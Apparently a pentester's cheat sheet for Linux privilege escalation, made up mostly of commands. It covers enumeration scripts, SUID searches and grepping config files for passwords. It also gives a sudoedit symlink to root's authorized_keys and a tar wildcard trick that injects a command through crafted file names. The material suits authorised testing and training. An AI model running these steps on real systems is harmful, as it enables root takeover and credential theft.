Unplug the network cable and instantiate draconian measures for physical security, You’ll make sure nobody can get in, but you’ll also make sure that nobody actually wants to use the platform. And that may sound like an extreme case, but it’s a very fundamental issue in security. You cannot look at security as something separate. Security issues are ‘just’ normal bugs
— Linus Torvald
This is the phase I like to refer to as second pass enumeration or enumeration from the inside. Now that we've gained a foothold into the network it is crucial to run all of our enumeration from the ground up as an inside actor.
Resources
Privesc Checking
Kali> unix-privesc-check standard > upcheck.standard
> unix-privesc-check detailed > upcheck.detailed
Kali> enum4linux -av $TARGET > enum4linux.target
Kali> ./LinEnum -s -k keyword -r report -e /tmp/ -t
-k Enter keyword
-e Enter export location
-t Include thorough (lengthy) tests
-s Supply current user password to check sudo perms (INSECURE)
-r Enter report name
[LinEnum Github] (https://github.com/rebootuser/LinEnum)
Kali> python linuxprivchecker.py
# Background current shell: CTRL + Z
Kali> stty raw -echo
Kali> fg
Resources
Insecure Sudo
Kali> sudo -l
Finding gems on the file system
# Find commands for SUID or SGID
Kali> find / -perm -g=s -type f 2>/dev/null
Kali> find / -perm -u=s -type f 2>/dev/null
# Find commands for writable/executable directories
Kali> find / -writable -type d 2>/dev/null
Kali> find / -perm -o w -type d 2>/dev/null
Kali> find / -perm -o x -type d 2>/dev/null
# Sometimes a quick bit of information can be helpful
# Especially if you get access denied when you try to run a command
# Such as iptables -L
Kali> locate iptables
# Locate useful files like gcc, wget, etc
Kali> locate gcc
# Take advantage of wildcard searching
# This is only a base example of what you can do
# I use this technique often to find random things hidden deep in the file system
Kali> ls /*/*/*/*.conf
# Be creative
Kali> cat /etc/cron.*/* | grep SEARCHSTRING
# Mix it up
Kali> find / -type f -name '*.conf' | xargs grep -rnw -3 "Password" 2>/dev/null
Unmounted drives
Kali> cat /etc/fstab
Kali> mount
Exim
Kali> exim -bV -v | grep -i Perl
Wildcard Manipulation
Resources
Sudoedit
# if sudoedit is using wildcards you can escape out with a few techniques
# Such as: (root) NOPASSWD: sudoedit /var/www/*/*/file.html
Kali> ln -s /root/.ssh/authorized_keys /var/www/testing/testdir/file.html
# Now when you add your key to this file, you will be able to login to root, for example
Tar
# If there is a script running as an authorized user that uses wildcards to tar a folder, you can inject command line arguments via:
Kali> echo '' > "--checkpoint-action=exec='sh shell.sh'"
Kali> echo '' > "--checkpoint=1"